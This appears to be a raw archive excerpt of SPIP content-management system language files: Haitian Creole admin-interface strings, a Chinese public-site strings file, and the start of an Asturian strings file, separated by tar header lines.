'info_recommencer' => 'Mèsi eseye yon lòt fwa.',
'info_redacteur_1' => 'Redaktè',
'info_redacteur_2' => 'ki gen laksè nan espas privé (<i>recommandé</i>)',
'info_redacteurs' => 'Redaktè yo',
'info_redaction_en_cours' => 'KI AP POU EKRI ANKO',
'info_redirection' => 'Tounyen déyè sou yon lòt adrès ',
'info_refuses' => 'Atik w-a ki te finn refize',
'info_reglage_ldap' => 'Opsyon : <b>Reglaj lempotasyon LDAP</b>',
'info_renvoi_article' => '<b>Tounyen dèyè sou yon lòt adrès.</b> Atik-la ap sòti sou lapaj-la:',
'info_reserve_admin' => 'Komandè ysèlman yokapab chanje ladrès-la',
'info_restreindre_rubrique' => 'Diminye drwa yo komandé-a pou li kapab debouye sou ribrik-la sèlman:',
'info_resultat_recherche' => 'Rezilta chèche w-a :',
'info_rubriques' => 'Ribrik yo',
'info_rubriques_02' => 'ribrik yo',
'info_rubriques_trouvees' => 'Ribrik yo ki te fin rannkont',
'info_rubriques_trouvees_dans_texte' => 'Ribrik yo ki te fin rannkont (nan tèks)',
'info_sans_titre' => 'Bagay ki pa rele oken non',
'info_selection_chemin_acces' => '<b>Chwazi</b> chemen laksé nan laniyè :',
'info_signatures' => 'siyati yo',
'info_site' => 'Sit',
'info_site_2' => 'sit :',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referanse',
'info_site_web' => 'SIT WEB :', # MODIF
'info_sites' => 'sit yo',
'info_sites_lies_mot' => 'Sit referanse sa-yo ki jwenn nan lyen ak mokle-a',
'info_sites_proxy' => 'Itilize yon proksi (proxy)',
'info_sites_trouves' => 'Sit sa-yo ki te fin rannkont',
'info_sites_trouves_dans_texte' => 'Sit sa-yo ki te finn rannkont (nan tèks)',
'info_sous_titre' => 'Soutit :',
'info_statut_administrateur' => 'Komandè',
'info_statut_auteur' => 'Lestati lotè-a :', # MODIF
'info_statut_efface' => 'Ki te finn kraze',
'info_statut_redacteur' => 'Redaktè',
'info_statut_utilisateurs_1' => 'Lestati otomatik pou zitilizatè enpòte yo',
'info_statut_utilisateurs_2' => 'Chwazi stati ki bay smou préan nan laniyé LDAP, kank moun ka konek azot promyé fwa. Aprésa w kapab chanje valè la pou chak lotè, chaken apré lòt.',
'info_suivi_activite' => 'Swivi laktivité léditoryal',
'info_surtitre' => 'Sitit :',
'info_taille_maximale_vignette' => 'Pli gran tay posib pou viyèt sistem sa-a li kreye :',
'info_terminer_installation' => 'Ou kapab kounyen-a fin fini pwosédi lenstalasyon estanda.',
'info_texte' => 'Tèks',
'info_texte_explicatif' => 'Tèks pou esplike',
'info_texte_long' => '(akoz tèks-la se lon : li afiche nan kèk pat sa-yo, zot ke kenbe ansamn aprè konfimasyon.)',
'info_texte_message' => 'Tèks pou mesaj-w :', # MODIF
'info_texte_message_02' => 'Tèks pou mesaj-la',
'info_titre' => 'Tit (Kouman i rele) :',
'info_total' => 'kont konple :',
'info_tous_articles_en_redaction' => 'Tout atik sa-yo ki ap pou ekri ankò',
'info_tous_articles_presents' => 'Tout atik sa-yo ki pibliye nan ribrik-la',
'info_tous_les' => 'tout :',
'info_tous_redacteurs' => 'Annons sa-yo pou tout redaktè yo',
'info_tout_site' => 'Tout sit sa-mèm',
'info_tout_site2' => 'Atik-la se pa tradwui nan lalanng la.',
'info_tout_site3' => 'Atik-la li te tradwi nan lang-la, men kèk chanjman te rive sou latik-referans, apré tradiksyon la. Fòk li ke mont nan nivo.',
'info_tout_site4' => 'Atik la te tradwi nan lang la, ak tradiksyon se resan ek konple.',
'info_tout_site5' => 'Atik lorijin.',
'info_tout_site6' => '<b>Atansyon :</b> atik lorijin se afiche sèlman.
Tout twadiksyon se jwen ak latik lorijin,
nan yon koulè ki bay lestati ali :',
'info_travail_colaboratif' => 'Soutni ansamn pour atik yo',
'info_un_article' => 'yon atik,',
'info_un_site' => 'yon sit,',
'info_une_rubrique' => 'yon ribrik,',
'info_une_rubrique_02' => '1 ribrik',
'info_url' => 'Ladres URL :',
'info_url_site' => 'URL SIT SA-A :',
'info_urlref' => 'Lyen ipètèks :',
'info_utilisation_spip' => 'Kounyen-a,ou kapab koumanse itilize sistèm pou piblikasyon ki édé...',
'info_visites_par_mois' => 'Fè parèt pa mwa :',
'info_visiteur_1' => 'Vizitè',
'info_visiteur_2' => 'd sit piblik',
'info_visiteurs' => 'Vizitè yo',
'info_visiteurs_02' => 'Vizitè yo d sit piblik',
'install_echec_annonce' => 'Lenstalasyon-an ka pétèt branlan, osnon pétèt li don yon sit ki pa kav mache...',
'install_extension_mbstring' => 'SPIP ki pa mache ak :',
'install_extension_php_obligatoire' => 'Fok SPIP li genyen léstansyon php :',
'install_select_langue' => 'Chwazi yon lang ak piye sou bouton « swivan » pou dmare prosédi-lenstalasyon.',
'intem_redacteur' => 'redaktè',
'item_accepter_inscriptions' => 'Asèpt enskripsyon yo',
'item_activer_messages_avertissement' => 'Aktive mesaj-lavertisman ',
'item_administrateur_2' => 'komandè',
'item_afficher_calendrier' => 'Fè parèt nan kalandrye',
'item_autoriser_documents_joints' => 'Asèpte dokiman jwenn yo nan atik yo',
'item_autoriser_documents_joints_rubriques' => 'Asèpte dokiman jwenn yo nan ribrik yo',
'item_choix_administrateurs' => 'komandè yo',
'item_choix_generation_miniature' => 'Kreye otomatikman vèsyon miyati (viyèt) pou tout imaj.',
'item_choix_non_generation_miniature' => 'Pa kreye miyati pou limaj.',
'item_choix_redacteurs' => 'redaktè yo',
'item_choix_visiteurs' => 'vizitè yo d sit piblik',
'item_creer_fichiers_authent' => 'Kreye fichye yo .htpasswd',
'item_limiter_recherche' => 'Sere lachèche nan limit lenfomasyon ki kontni sit a w. ',
'item_login' => 'Nonkod',
'item_mots_cles_association_articles' => 'nan atik yo',
'item_mots_cles_association_rubriques' => 'nan ribrik yo',
'item_mots_cles_association_sites' => 'nan sit referanse ou sendiké yo.',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Asèpt pa enskripsyon yo',
'item_non_activer_messages_avertissement' => 'Pa oken mesaj-lavertisman',
'item_non_afficher_calendrier' => 'Refize parèt nan kalandrye',
'item_non_autoriser_documents_joints' => 'Asèpte pa dokiman jwenn nan atik yo',
'item_non_autoriser_documents_joints_rubriques' => 'Asèpte pa dokiman jwenn nan ribrik yo',
'item_non_creer_fichiers_authent' => 'Kreye pa fichye sa yo',
'item_non_gerer_statistiques' => 'Fè pa estatistik',
'item_non_limiter_recherche' => 'Tann chèche nan kontni sit ki referansé',
'item_non_publier_articles' => 'Pa pibliyé atik sa-yo avan ladat ki présizé.',
'item_non_utiliser_moteur_recherche' => 'Itilize pa motè-rechèche',
'item_nouvel_auteur' => 'Nouvo lotè',
'item_nouvelle_rubrique' => 'Nouvo ribrik',
'item_oui' => 'Wi',
'item_publier_articles' => 'Fè parèt tout atik kiswa dat piblikasyon ali.',
'item_reponse_article' => 'Repons sou atik sa-a',
'item_utiliser_moteur_recherche' => 'Itilize motè-rechèche',
'item_visiteur' => 'vizitè',
// J
'jour_non_connu_nc' => 'ki pa koni',
// L
'lien_ajout_destinataire' => 'Ajoute destinatè-a',
'lien_ajouter_auteur' => 'Ajoute lotè-a',
'lien_ajouter_participant' => 'Ajoute yon patisipan',
'lien_email' => 'limèl',
'lien_nom_site' => 'KOUMAN SIT-LA RELE :',
'lien_retirer_auteur' => 'Kraze lotè-a',
'lien_retrait_particpant' => 'kraze patisipan-nan',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'kraze ribrik-la',
'lien_tout_deplier' => 'Dépliye tout',
'lien_tout_replier' => 'Repliye tout',
'lien_trier_nom' => 'Fé parèt swivan kouman rele',
'lien_trier_nombre_articles' => 'Fé parèt swivan nonm atik yo',
'lien_trier_statut' => 'ranje swivan lestati',
'lien_voir_en_ligne' => 'GAD AN LIY:',
'logo_article' => 'LOGO ATIK LA', # MODIF
'logo_auteur' => 'LOGO LOTÈ', # MODIF
'logo_rubrique' => 'LOGO RIBRIK', # MODIF
'logo_site' => 'LOGO SIT LA', # MODIF
'logo_standard_rubrique' => 'LOGO ODINÈ TOUT RIBRIK YO', # MODIF
'logo_survol' => 'LOGO POU VOLE', # MODIF
// M
'menu_aide_installation_choix_base' => 'Chwa labaz w-a',
'module_fichier_langue' => 'Fichye-lanng',
'module_raccourci' => 'Tichemen',
'module_texte_affiche' => 'Tèks ki afiche',
'module_texte_explicatif' => 'W kapab mèt tout tichemen yo ki isit aprè, nan leskèlèt sa-yo ou sit piblik. Yo ké tradwi otomatikman nan diféran lanng, chak ki genyen yon fichye-lanng.',
'module_texte_traduction' => 'fichye-lanng la « @module@ » se disponib nan :',
'mois_non_connu' => 'ki pa koni',
// O
'onglet_repartition_actuelle' => 'kounye-a',
// S
'statut_admin_restreint' => '(komandè ki limité)', # MODIF
// T
'taille_cache_image' => 'Tout imaj ki SPIP kav kalkile otomatikman (viyèt nan dokiman, kouman li rele ki pwézanté nan foma gwafik, tout fonksyon matematik nan foma TeX...) yo ka okipe nan répètwar @dir@ lespas total ki @taille@.',
'taille_cache_infinie' => 'Genyen pa oken limit pou latay répertwar CACHE.',
'taille_cache_maxi' => 'SPIP ka eseye limite latay répertwar CACHE sit-la, alantou <b>@octets@</b> pou tout doné .',
'taille_cache_octets' => 'Tay pou kach se aster @octets@.', # MODIF
'taille_cache_vide' => 'Kach-la se vid.',
'taille_repertoire_cache' => 'Latay répertwar kach',
'text_article_propose_publication' => 'Atik ki pwopoze pou fé parèt. Ezit pas bay lavi aou nan fowom ki jwen atik-la (anba lapaj).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Kèk sèvè LDAP y ki pa aksepte laksé anonim.Alò, fòk pwezizél yon lidentifian pou lo promye aksé akoz aprèsa posib cheche tout enfò masyon w ka vle nan laniyé. Men souvan, genyen posib w kenbe tout chan la vid.',
'texte_admin_effacer_01' => 'Komand la li efase <i>tout</i> kontni antye nan labazdone,
ak <i>tout</i> aksé rédaktè ak komanè yo. Si w te fé mache ali, fòk w enstalé yon lòt fwa laprosédi
lenstalasyon SPIP pou w kreye yon lòt nouvo baz ak son promyé laksé komandè',
'texte_adresse_annuaire_1' => '(Si laniyé aw se enstalé sou mèm machin sévè sit aw, se posib li rele senpman «localhost».)',
'texte_ajout_auteur' => 'Lotè-a te fin ajoute pou atik-la :',
'texte_annuaire_ldap_1' => 'Si w gen laksé lanyiè (LDAP), w kapab itilize ali pou enpòte otomatikman itilizatè yo sou SPIP.',
'texte_article_statut' => 'Atik-la se :',
'texte_article_virtuel' => 'Atik virtyel',
'texte_article_virtuel_reference' => '<b>Atik virtyèl :</b> se yon atik ki referanse nan sit SPIP aw, men ki touné viré sou yon lòt URL. Pou efase touné-viré an, ann efas w URL isit anlèr.',
'texte_aucun_resultat_auteur' => 'Pa oken rézilta pou "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Sit-la kapab bay w lalis redaktè an liy kounyen-a, bagay-la pèmè w voye mesaj direk ansamn moun. W pe chwazi pa parèt a liy nan lis-la (w kembe « envisib » pou tout zot itilizatè).',
'texte_auteur_messagerie_1' => 'Sit-la pémè a w voye mesaj fowom pou pale nan kozman privé ant tout patisipan ki soutni nan sit.W pé chwazi pa soutni pale nan kontak-la.',
'texte_auteurs' => 'LOTÈ YO',
'texte_choix_base_1' => 'Ann chwazi labaz ou :',
'texte_choix_base_2' => 'Sèvè SQL-la, li ka kembe kèk bazdoné.', # MODIF
'texte_choix_base_3' => '<b>Chwazi</b> issit anba labaz ki lébérjè te bay aw:',
'texte_commande_vider_tables_indexation' => 'Itilize komand-la pou vide tout tabl endeksasyon ki itilizé
nan motè-lachèche ki prézan nan SPIP. Ke permèt aw
kembe lespas diks.',
'texte_compresse_ou_non' => '(li mèm se petèt konprese, petèt non)',
'texte_compte_element' => '@count@ eleman',
'texte_compte_elements' => '@count@ eleman (yo)',
'texte_connexion_mysql' => 'Gade tout lenfòmasyon lébèjè te bay aw : fòk w rankont tout kod pou koneksyon sou sèvè SQL la, si lébéjè kabab bay yon baz SQL.', # MODIF
'texte_contenu_article' => '(kèk mo pou di ki latik-la ka kembe.)',
'texte_contenu_articles' => 'Selon laspé sit piblik aw, posib chwazi kèk zéléman latik pa itil aw.
Lalis isit anba pèmè w chwazi éléman sa-yo W ka kembe.
',
'texte_crash_base' => 'Si bazdoné aw ki kraze,
w kapab eséy yon aranjman
otomatik.',
'texte_creer_rubrique' => 'Avan w kapab ékri tout atik la,<br /> fòk w kreye yon ribrik dabò.',
'texte_date_creation_article' => 'LADAT KRÉASYON LARTIK-LA :',
'texte_date_publication_anterieure' => 'Ladat redaksyon davan :',
'texte_date_publication_anterieure_nonaffichee' => 'Pa afiche yon dat redaksyon déyè.',
'texte_date_publication_article' => 'LADAT PIBLIKASYON AN LIY :',
'texte_descriptif_petition' => 'Dékrisyon pétisyon nan',
'texte_descriptif_rapide' => 'Dekrisyon taptap',
'texte_effacer_base' => 'Efase labazdoné SPIP',
'texte_effacer_donnees_indexation' => 'Efase tout doné pou lendeksasyon',
'texte_en_cours_validation' => 'Atik ak tinouvèl isit anba, zot se pwopoze pou fè parèt. Ezit pa bay lavi aw nan fowom jwen.', # MODIF
'texte_enrichir_mise_a_jour' => 'W kapab rann laspé lapaj pli rich ak « tichemen tipografik ».',
'texte_fichier_authent' => '<b>Fòk SPIP kreye fichye yo espesyal <tt>.htpasswd</tt>
ak <tt>.htpasswd-admin</tt> nan repètwar @dossier@ ?</b><p>
Fichye sa-yo pèmè w limite laksé lotè ak komandè nan kèk lòt katye sit-la
(pwogwam lestatistik, pa egsanp).</p><p>
W kapab sere lopsyon an nan valè otomatik (pou pa kreye tou fichye la), si li pa itil aw. </p>', # MODIF
'texte_informations_personnelles_1' => 'Sistèm ke jodiya kreye yon laksé pèsonalizé pou w.',
'texte_informations_personnelles_2' => '(Gad : si genyen yon lòt enstalasyon ak laksé aw ka mache ankò, w kapab', # MODIF
'texte_introductif_article' => '(Tèks lentwodiksyon latik.)',
'texte_jeu_caractere' => 'Lopsyon-an se itil si sitweb-la afiche kèk alfabe diferan lalfabé
romin (ou « oksidantal ») ek tout alfabe komsa.
Alò, fòk w chanje reglaj otomatik pou chwazi yon gwoup karaktè pwop ;
Se mye fè yon esey avan pou rankout yon manyen adapté pou afich lang-la
Si ou chanje lalfabe a
ann fé osi bo reglaj nan leskelèt sit w (baliz <tt>#CHARSET</tt>).', # MODIF
'texte_jeu_caractere_2' => 'Reglaj-la li pa mache toune ayè. Akoz bagay-la
tout tèks ki enskri avan, ot kap afich mal aprè chanjman-la.
Nepôt bagay-la, se fasil toune deyè sou promye reglaj ou chanje ali ankò.',
'texte_lien_hypertexte' => '(Si mesaj aw se mesaj ki pale yon atik w rankout deò sou yo lòt sitweb, osnon yon paj ki sere plis enfòmasyon, mèsi bay isit anba kouman li rele ak kilès URL.)',
'texte_login_ldap_1' => '(Kembe vid ali pou yo laksé anonim, osnon ekri w chemen konple pa egsanp « <tt>uid=mwen, ou=users, dc=sitamwen, dc=com</tt> ».)',
'texte_login_precaution' => 'Atansyon ! bagay-la se nonkod koumon w rele kounyen-a.
Ann itilize fòmilè-a ek swen...',
'texte_message_edit' => 'Atansyon : tout komandè sit sa-a kapab chnaje mesaj-la ak tout redaktè kapab li ali. Mèsi itilize mesaj anons komsa sélman pou soutni yon evenman enpòtan nan vi sit-la.',
'texte_mise_a_niveau_base_1' => 'W te fini renouvèle tout fichye SPIP.
Fòk kembe nan nivo labazdoné
pou sit-la.',
'texte_modifier_article' => 'Chanje atik-la :',
'texte_moteur_recherche_active' => '<b>Motè-lachèche ki aktive.</b> Itilize w komand-la pou fè ankò yon endeksayon
le (aprè w te fin restore
yon sòvgad pa egsanp). Tout dokiman ki te chanje
nòmalman (depi lentèfas SPIP) se endeksé
otomatikman : komand-la selman itil nan tan ésepsyonel.',
'texte_moteur_recherche_non_active' => 'Motè-lachèche ki pa aktive.',
'texte_multilinguisme' => 'Si w vle itilize atik yo sous sit-la nan diferan lang, ak yon navigasyon konplèks, w kapab ajoute yon meni-dewoulè pou chwazi lalang tout atik ak ribrik yo, selon kouman w te òganize sit aw.', # MODIF
'texte_multilinguisme_trad' => 'Ou kap mèt yon sistèm pou okipe kèk lyen ant plizyè tradiksyon yon mèm atik.', # MODIF
'texte_non_compresse' => '<i>ki pa konprese</i> (sèvè w ki pa soutni nan fonksyon la)',
'texte_nouveau_message' => 'Nouvo mesaj',
'texte_nouvelle_version_spip_1' => 'W te enstalé yon nouvo vésyon SPIP.',
'texte_nouvelle_version_spip_2' => 'Fòk w fè yon arnouvèlman pli konple pou monte nivo nouvo vèsyon an. Si w se webmèt sit-la, mèsi efase fichye-a <tt>inc_connect.php3</tt> nan repetwar <tt>ecrire</tt> ak ropran lenstalasyon pou mèt paramèt koneksyon sou bazdone nan nivo.<p> (Gad. : si w te oubliye paramèt koneksyon aw, gad fichye <tt>inc_connect.php3</tt> avan efase ali...)</p>', # MODIF
'texte_operation_echec' => 'Mèsi tounyen deyè sou paj davan, chwazi yon lòt baz osnon kreye w yon nouvo baz. Gad byin tout lenfòmasyon lébjèje w te bay aw.',
'texte_plus_trois_car' => 'plisk 3 karaktè limprimi',
'texte_plusieurs_articles' => 'Genyen kèk lotè pou "@cherche_auteur@":',
'texte_port_annuaire' => '(Lavalè enskri otamatikman ka mache an jénéral.)',
'texte_proposer_publication' => 'Kan latik fini,<br /> w kapab pwopoze ali pou yon piblikasyon.', # MODIF
'texte_proxy' => 'Posib (intranet, rézo pwoteje...),
se nésèsè itilize yon pwoksi <i>proxy HTTP</i> pou konek tout sit sendike.
Alò fòk w enskri ladrès URL, nan fòma
<tt><html>http://proxy:8080</html></tt>. Nòmalman,
w ke sere chan-la vid. ', # MODIF
'texte_publication_articles_post_dates' => 'Kilès atitud SPIP ke chwazi pou pibliye tout latik ki dat piblikasyon
se présize nan dat lavenir ?',
'texte_rappel_selection_champs' => '[Oubliy pa w chwazi chan la korekman.]',
'texte_recalcul_page' => 'Si w vle
kalkil ankò yon sel paj selman, itilize plito lespas piblik ak bouton « Kalkil ankò ».',
'texte_recapitiule_liste_documents' => 'Paj-la ka rankont tout dokiman w teplase nan ribrik yo. Si w vle chanje tout lenfòmasyon chak dokiman, mèsi swiv lyanaj sou paj ribrik azot.',
'texte_recuperer_base' => 'Aranje bazdoné la',
'texte_reference_mais_redirige' => 'atik ki referanse nan sit SPIP aou, men ki viré direksyon sou yon lot URL.',
'texte_requetes_echouent' => '<b>kank kèk rekèt SQL ki pa mache
sistématikman ak ki pa rézon vizib, se posib bagay la ki ako bazdoné-la li mèm
.</b><p>
Tounyen a kapasité SQL pou aranje tout tab ali kank zot se abime pa aksidan.
W kapab esey issit yon aranjman ;
Si bagay-la ki pa mache, kenbe ou yon kopi lafichaj, ki sere pètèt indis pou rannkont ki pa mache...</p><p>
Si pwoblèm la ki kenbe, mèsi kontak lébérjè
.</p>', # MODIF
'texte_selection_langue_principale' => 'W kapab chwazi « lang prensipal » sit-la. Chwa-an se pa obligasyon - bon dié ! - w ékri artik-w nan lang-la, men bagay-la li pémè défini :
<ul><li> fòma otomatik tout dat sou sit piblik ;</li>
<li> ki mòtè tipografik, fòk sistèm SPIP li itilize pou rann tout tèks sou sit-la ;</li>
<li> ki lang fòk sit itilize nan tout fòmilè sou sit piblik ;</li>
<li> ki lang se prézanté otomatikman nan lespas privé.</li></ul>',
'texte_sous_titre' => 'Soutitr (Kouman i relé osi)',
'texte_statistiques_visites' => '(tout liy nwa : dimanch / lakourb nwa : lévolisyon mwayenn sa)',
'texte_statut_attente_validation' => 'ki tann pou konfimé',
'texte_statut_publies' => 'pibliyé an liy',
'texte_statut_refuses' => 'refizé',
'texte_suppression_fichiers' => 'Itilize komand-la pou efase tout fichyé prézan sa-yo nan kach-SPIP (cache).
Bagay-la pémè, pa egsanp, fòse rekalkil tout paj sa-yo, apré plizyè gro chanjman nan grafism osnon lastrikti sit aou.
',
'texte_sur_titre' => 'Sir-tit',
'texte_table_ok' => ': tab-la se bon.',
'texte_tables_indexation_vides' => 'Tab pou indeksayon motè se vid.',
'texte_tentative_recuperation' => 'Esey aranjé',
'texte_tenter_reparation' => 'Esèy yon aranjman labazdoné',
'texte_test_proxy' => 'Pou eseye pwoksi-a (proxy), ann enskri isit ladrès yon sit web
w vle testé.',
'texte_titre_02' => 'Tit (Kouman i rele) :',
'texte_titre_obligatoire' => '<b>Tit (Kouman i rele)</b> [Nèsèsè]', # MODIF
'texte_travail_article' => '@nom_auteur_modif@ té travayé sou atik la @date_diff@ minit pase',
'texte_travail_collaboratif' => 'Si genyen souvan kèl redaktè ki soutni sou
yon mèm atik, sistèm-la kapab afiche atik yo
ki « ouvè »
nan tan résan pou evite chanjman ki kraze lòt.
W kapab mèt opsyon-nan ki sispann otomatikman pou evite fè parèt toultan
mesaj yo pou atansyon.
',
'texte_trop_resultats_auteurs' => 'Genyen tro rezilta pou "@cherche_auteur@" ; mèsi présiz chèche w-a.',
'texte_unpack' => 'téléchajman dènyè vèsyon',
'texte_utilisation_moteur_syndiques' => 'Kan w itilize motè-rechèche andodan SPIP, w kapab chèche
sou sit ak atik sendiké yo nan dé manyè diféran.
<br /><img src=\'puce.gif\' /> Pli senp se chèche sèlman kouman atik yo rele (tit yo)
ou nan dékripsyon atik sa-yo
<br /><img src=\'puce.gif\' />
Dèzyèm métod, pli pwisan, se fè
SPIP chèche ositou nan tèks tout sit referansé yo.
Si w ka referanse yon sit
SPIP ka chèche nan tèks sit li mème sa-a.
.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Mètod la li domann SPIP vizite
souvan tout sit referanse,
li kap diminye vitès sit a w.
',
'texte_vide' => 'vid',
'texte_vider_cache' => 'Vide kach-la',
'titre_admin_effacer' => 'Swen teknik',
'titre_admin_tech' => 'Swen teknik',
'titre_admin_vider' => 'Swen teknik',
'titre_cadre_afficher_article' => 'Fè parèt atik yo',
'titre_cadre_afficher_traductions' => 'Fè parèt kouman se tradiksyon yo pou tout lanng swivan :',
'titre_cadre_ajouter_auteur' => 'KREYE YON LOTE :',
'titre_cadre_interieur_rubrique' => 'nan ribrik',
'titre_cadre_numero_auteur' => 'LOTE NIMEWO',
'titre_cadre_signature_obligatoire' => '<b>Siyati</b> [Nésesè]<br />', # MODIF
'titre_config_fonctions' => 'Konfigire sit-la',
'titre_configuration' => 'Konfigire sit-la',
'titre_connexion_ldap' => 'Opsyon sa-yo : <b>ou konèksyon LDAP</b>',
'titre_groupe_mots' => 'GWOUP MOKLE :',
'titre_langue_article' => 'LALANNG ATIK-LA', # MODIF
'titre_langue_rubrique' => 'LALANNG RIBRIK-LA', # MODIF
'titre_langue_trad_article' => 'LALANNG AK TRADIKSYON YO ATIK-LA',
'titre_les_articles' => 'ATIK YO',
'titre_naviguer_dans_le_site' => 'Fè yon vire sou sit-la...',
'titre_nouvelle_rubrique' => 'Nouvo ribrik',
'titre_numero_rubrique' => 'RIBRIK NIMEWO :',
'titre_page_admin_effacer' => 'Swen teknik : kraze labaz',
'titre_page_articles_edit' => 'Chanje: @titre@',
'titre_page_articles_page' => 'Atik yo',
'titre_page_articles_tous' => 'Tout sit sa-mèm',
'titre_page_auteurs' => 'Vizitè yo',
'titre_page_calendrier' => 'Kalandriye @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Konfigire sit-la',
'titre_page_config_fonctions' => 'Konfigire sit-la',
'titre_page_configuration' => 'Konfigire sit-la',
'titre_page_controle_petition' => 'Swivi petisyon yo',
'titre_page_delete_all' => 'krazman konple ke pa posib pou anile',
'titre_page_documents_liste' => 'Dokiman yo nan ribrik ',
'titre_page_index' => 'Espas prive a w',
'titre_page_message_edit' => 'Ekri yon mesaj',
'titre_page_messagerie' => 'Ou kazmodekri ',
'titre_page_recherche' => 'Rezilta chèche @recherche@',
'titre_page_statistiques_referers' => 'Rézilta estatistik (lyen sa-yo ka rive)',
'titre_page_upgrade' => 'Mèt SPIP nan nivle',
'titre_publication_articles_post_dates' => 'Piblikasyon tout atik yo posdate',
'titre_referencer_site' => 'Referanse sit la :',
'titre_rendez_vous' => 'PWOPOZE YON RANKONT :',
'titre_reparation' => 'Reparasyon',
'titre_suivi_petition' => 'Swiv tout petisyon yo',
'trad_article_inexistant' => 'Okenn atik gen pa nimewo-a.',
'trad_article_traduction' => 'Tout versyon pou atik la :',
'trad_deja_traduit' => 'Atik sa a se deja tradiksyon pou prezan atik la.', # MODIF
'trad_delier' => 'Retire lyen ansanm atik la ak tout tradidksyon', # MODIF
'trad_lier' => 'Atik la se tradiksyon atik nimewo :',
'trad_new' => 'Ekri tradiksyon ankò pou atik la' # MODIF
);
?>
public_zh.php 0000666 00000006426 15252547432 0007261 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=zh
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => '主页', # MODIF
'article' => '文章', # MODIF
'articles' => '文章',
'articles_auteur' => '该作者的文章',
'articles_populaires' => '热门文章',
'articles_rubrique' => '此栏下的文章',
'aucun_article' => '该地址下没有文章',
'aucun_auteur' => '该地址下没有作者',
'aucun_site' => '该地址下没有站点',
'aucune_breve' => '该地址下没有简要',
'aucune_rubrique' => '该地址下没有专栏',
'auteur' => '作者', # MODIF
'autres' => '其它', # MODIF
'autres_breves' => '其它简要',
'autres_groupes_mots_clefs' => '其它关键词组',
'autres_sites' => '其它站点',
// B
'bonjour' => '您好',
// C
'commenter_site' => '评论站点',
'contact' => '联络', # MODIF
'copie_document_impossible' => '不能复制文件', # MODIF
// D
'date' => '日期',
'dernier_ajout' => '最新添入',
'dernieres_breves' => '最新简要',
'derniers_articles' => '最新文章',
'derniers_commentaires' => '最新评论',
'derniers_messages_forum' => '论坛最近发表的消息',
// E
'edition_mode_texte' => '文本编辑模式',
'en_reponse' => '回复:',
'en_resume' => '摘要',
'envoyer_message' => '发送消息',
'espace_prive' => '私有区',
// F
'formats_acceptes' => ' 合格的格式: @formats@.', # MODIF
// H
'hierarchie_site' => '站点层次',
// J
'jours' => '天',
// L
'lien_connecter' => '登陆', # MODIF
// M
'meme_auteur' => '同一作者',
'meme_rubrique' => '同一专栏',
'memes_auteurs' => '同一作者',
'message' => '消息',
'messages_forum' => '论坛消息', # MODIF
'messages_recents' => '最近论坛消息',
'mots_clefs' => '关键词',
'mots_clefs_meme_groupe' => '同组关键词',
// N
'navigation' => '导航',
'nom' => '名字',
'nouveautes' => '新变动',
'nouveautes_web' => '新页面',
'nouveaux_articles' => '新文章',
'nouvelles_breves' => '新要闻',
// P
'page_precedente' => '前一页',
'page_suivante' => '后一页',
'par_auteur' => '按照',
'participer_site' => '通过email注册得到访问码,您可以在本站点上得到一个活动区并发表您自己的文章.',
'plan_site' => '站点地图',
'popularite' => '热点',
'poster_message' => '发表消息',
// R
'repondre_article' => '回复文章',
'repondre_breve' => '回复简要',
'resultats_recherche' => '搜索结果',
'retour_debut_forums' => '返回论坛顶',
'rubrique' => '专栏',
'rubriques' => '专栏',
// S
'signatures_petition' => '签名',
'site_realise_avec_spip' => '使用SPIP建立的站点',
'sites_web' => '网站',
'sous_rubriques' => '子专栏',
'spam' => '垃圾邮件', # MODIF
'suite' => '继续',
'sur_web' => '在网上',
'syndiquer_rubrique' => '联合该专栏',
'syndiquer_site' => '联合整个站点',
// T
'texte_lettre_information' => '站点时事通讯',
'texte_lettre_information_2' => '本封信统计自下述时间发表的文章和简要', # MODIF
// V
'ver_imprimer' => '打印版本',
'voir_en_ligne' => '在线预览'
);
?>
spip_ast.php 0000666 00000107045 15252547432 0007123 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=ast
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Asturianu [ast]',
'0_liste' => 'spip-es@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Tornar a la interfaz gráfica completa',
'access_mode_texte' => 'Amosar l’interfaz simple en mou testu',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Iguar esti artículu',
'admin_modifier_auteur' => 'Camudar esti autor',
'admin_modifier_breve' => 'Camudar esta breve',
'admin_modifier_mot' => 'Camudar esta pallabra-clave',
'admin_modifier_rubrique' => 'Iguar la estaya',
'admin_recalculer' => 'Recalcular esta páxina',
'afficher_trad' => 'amosar les tornes',
'alerte_maj_impossible' => '<b>¡Alerta!</b> El remocique de la base SQL a la versión @version@ nun ye posible, seique por un problema de permisos pa camudar la base de datos. Contauta col to agospiamientu web.',
'alerte_modif_info_concourante' => 'ATENCIÓN: Esta información camudose n’otru llugar. El valor actual ye:',
'analyse_xml' => 'Análisis XML',
'annuler' => 'Anular',
'antispam_champ_vide' => 'Esti campu tien que quedar vacíu:',
'articles_recents' => 'Artículos más nuevos',
'avis_archive_incorrect' => 'El ficheru d’archivu nun ye un ficheru de SPIP',
'avis_archive_invalide' => 'el ficheru d’archivu nun ye válidu',
'avis_attention' => '¡CUIDAU!',
'avis_champ_incorrect_type_objet' => 'Nome de campu incorréutu @name@ pal oxetu de tipu @type@',
'avis_colonne_inexistante' => 'La columna @col@ nun esiste',
'avis_erreur' => 'Error: ver embaxo.',
'avis_erreur_connexion' => 'Fallu de conexón',
'avis_erreur_cookie' => 'problema de cookie',
